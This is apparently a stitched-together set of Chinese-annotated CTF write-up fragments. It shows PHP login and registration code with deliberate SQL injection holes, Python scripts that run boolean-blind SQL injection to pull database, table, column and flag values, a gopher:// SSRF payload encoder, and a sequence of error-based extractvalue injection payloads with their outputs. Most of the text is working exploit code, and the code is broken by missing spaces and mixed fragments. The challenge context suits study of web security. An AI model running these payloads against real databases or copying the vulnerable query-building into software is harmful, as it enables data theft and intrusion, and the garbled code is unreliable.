functionfilter($value) { !is_string($value) AND die("Hacking attempt!");
returnaddslashes($value); //防SQL机制addslashes() }
register.php
1 2 3 4 5 6 7 8 9 10 11 12 13
<?php
!isset($_SESSION) AND die("Direct access on this script is not allowed!"); include'db.php';
//过滤很严 (preg_match('/(a|d|m|i|n)/', strtolower($_POST['username'])) OR strlen($_POST['username']) < 6 OR strlen($_POST['username']) > 10 OR !ctype_alnum($_POST['username'])) AND $con->close() AND die("Not allowed!");
$sql = 'INSERT INTO `ptbctf`.`ptbctf` (`username`, `password`) VALUES ("' . $_POST['username'] . '","' . md5($_POST['password']) . '")'; ($con->query($sql) === TRUE AND $con->close() AND die("The user was created successfully!")) OR ($con->close() AND die("Error!"));
?>
login.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
<?php
!isset($_SESSION) AND die("Direct access on this script is not allowed!"); include'db.php';
//没有太多限制,除了session $sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";'; $result = $con->query($sql);
($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));
# 数据库 # 6 ptbctf # db="" # for i in range(1,7): # for j in range(32,127): # name = '1\" or (ascii(substr((select database()),{},1))={})#'.format(i,j) # a = requests.post( # url = url, # files=files, # data={ # "PHP_SESSION_UPLOAD_PROGRESS":"123" # }, # cookies=cookie, # params={ # 'username':name, # 'password':'123' # }, # proxies=proxies # ) # if a.text == "<meta http-equiv=\"refresh\" content=\"0; url=?p=home\" />": # db = db+chr(j) # break # print(db)
# 表 # 2 # 8 flag_tbl # 6 ptbctf # table1="" # for i in range(1,7): # for j in range(32,127): # name='1\" or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),{},1))={}#'.format(i,j) # a = requests.post(url=url,files=files,data=data,cookies=cookie,proxies=proxies,params={'username':name,'password':'123'}) # if a.text == "<meta http-equiv=\"refresh\" content=\"0; url=?p=home\" />": # table1+=chr(j) # break # print(table1)
# 表1字段 # secret # column="" # for i in range(1,10): # for j in range(32,127): # name='1\" or ascii(substr((select column_name from information_schema.columns where table_name=\'flag_tbl\'),{},1))={}#'.format(i,j) # a = requests.post(url=url,cookies=cookie,files=files,data=data,proxies=proxies,params={'username':name,'password':'123'}) # if a.text == "<meta http-equiv=\"refresh\" content=\"0; url=?p=home\" />": # column+=chr(j) # break # print(column)
# 内容 flag="" for i inrange(1,50): for j inrange(32,127): name='1\" or ascii(substr((select secret from flag_tbl),{},1))={}#'.format(i,j) a = requests.post(url=url,cookies=cookie,files=files,data=data,proxies=proxies,params={'username':name,'password':'123'}) if a.text == "<meta http-equiv=\"refresh\" content=\"0; url=?p=home\" />": flag += chr(j) break print(flag) # flag{7e4c1473-69f2-4bf2-a5e5-078637ef5016}
temp = urllib.parse.quote(payload) # 对特殊字符进行编码 new = temp.replace('%0A','%0D%0A') result = 'gopher://127.0.0.1:80/'+'_'+new # gopher会将第一个字符吞噬,所以加个下划线 result = urllib.parse.quote(result) print(result)
可以进行报错注入(至于它的闭合,’ 返回语法错误,” 不报错,说明它的闭合是 单引号+括号'()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
sql = "1') and extractvalue(1,concat(0x7e,(select database()),0x7e)) #".encode('utf-8') # Issue with your mysql: XPATH syntax error: '~security~'
sql = "1') and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) #".encode('utf-8') # Issue with your mysql: XPATH syntax error: '~emails,flag,referers,uagents,us'
sql = "1') and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e)) #".encode('utf-8') # Issue with your mysql: XPATH syntax error: '~flag~'
sql = "1') and extractvalue(1,concat(0x7e,(select flag from flag),0x7e)) #".encode('utf-8') # Issue with your mysql: XPATH syntax error: '~cyberpeace{1afdd142da69ce377b1f'
sql = "1') and extractvalue(1,concat(0x7e,substr((select flag from flag),30,30),0x7e)) #".encode('utf-8') #Issue with your mysql: XPATH syntax error: '~1fb3505dfe4568}~'